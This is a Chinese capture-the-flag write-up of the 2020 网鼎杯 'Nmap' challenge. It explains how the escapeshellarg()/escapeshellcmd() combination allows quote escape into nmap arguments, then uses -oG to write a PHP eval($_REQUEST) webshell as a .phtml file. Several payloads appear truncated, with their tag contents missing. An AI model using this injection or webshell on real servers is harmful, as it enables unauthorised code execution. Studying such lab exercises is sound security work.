[网鼎杯 2020 朱雀组]Nmap
试试127.0.0.1,跳转到/result.php?f=e43a7,可以看到有GET传参,尝试访问/result.php?f=index.php,出现回显
Warning: simplexml_load_file(): I/O warning : failed to load external entity \"xml/index.php\" in /var/www/html/result.php on line 23
Wrong file name
simplexml_load_file()用于解析 XML 文件并将其转换为对象(或数组)
会不会存在外部实体注入漏洞。
另外还发现list.php文件,其中显示所有scan历史文件。
梳理一下,首先nmap一个IP地址,将结果存为xml文件,通过文件名访问结果。
先尝试一下XXE,通过f利用data协议传一个xml格式数据访问外部实体。
<!DOCTYPE note [
]>
&admin;123
这是上次一道XXE题目的playload。
回显wrong filename。难道说对filename有检查?看一下答案...考的是命令执行。
我的问题:首先对考点判断失误了,XXE出现的条件一定是请求数据是xml格式的。另外题目首页查看源码还有线索没看到——
题目叫做nmap,并且让我们上传IP地址,那极有可能就是将上传的IP拼接到nmap命令中,应该首先尝试命令执行。
上传127.0.0.1 ; ls,回显
IP: 127.0.0.1
Hostname: 127.0.0.1 \\; ls (user)
Hostname: localhost (PTR)
说明对特殊符号进行了转义
上传127.0.0.1 \' ls,回显
IP: 127.0.0.1
Hostname: 127.0.0.1 \\ (user)
Hostname: localhost (PTR)
引号没了反而多了个反斜杠,说明跟之前一道题[BUUCTF 2018]Online Tool-CSDN博客一样,同时用了两个转义函数。
能利用引号逃逸。另外nmap能进行文件写入。因此可以利用一句话木马。
直接构造playload:
1\' -oG test.php \'
回显Hacker...说明可能有过滤。
可以把特殊符号尝试一遍,发现是<?php被过滤了。那我们可以用
1\' echo123;eval($_REQUEST[0]); -oG test.php \'
还是回显Hacker
再尝试一下发现也被过滤了,这样的话我们只能使用<?=符号了,该符号的作用相当于<?php echo
1\' -oG test.php \'
还是Hacker....,把php也给禁用了,换成phtml试试。
1\' -oG test.phtml \'
发现根目录下的flag文件,不过好像题目线索已经提示过了
1\' -oG test.phtml \' 得到flag。
再尝试一下植入一句话木马:
1\' -oG test.phtml \'
直接就成功了:
而且还执行了echo 123。原本以为用短标签不可以放其他语句了。
这样的话用短标签和普通标签功能上也没什么差别。
总结一下:虽然通过报错可以看到使用了读取xml文件的函数,但是这只能说明服务端将扫描结果输出到xml文件,我们并不能控制该xml文件访问外部实体,所以不存在XXE漏洞。这道题的漏洞在于nmap命令的可控参数虽然进行了转义但是同时使用escapeshellarg()和escapeshellcmd(),能利用单引号造成逃逸,从而随意构造nmap命令的参数。又由于nmap命令能进行读写文件,因此可以植入一句话木马。所以说这个漏洞的条件还是比较多的。可考的点有两个,第一是两个转移函数组合,第二是nmap命令读写文件。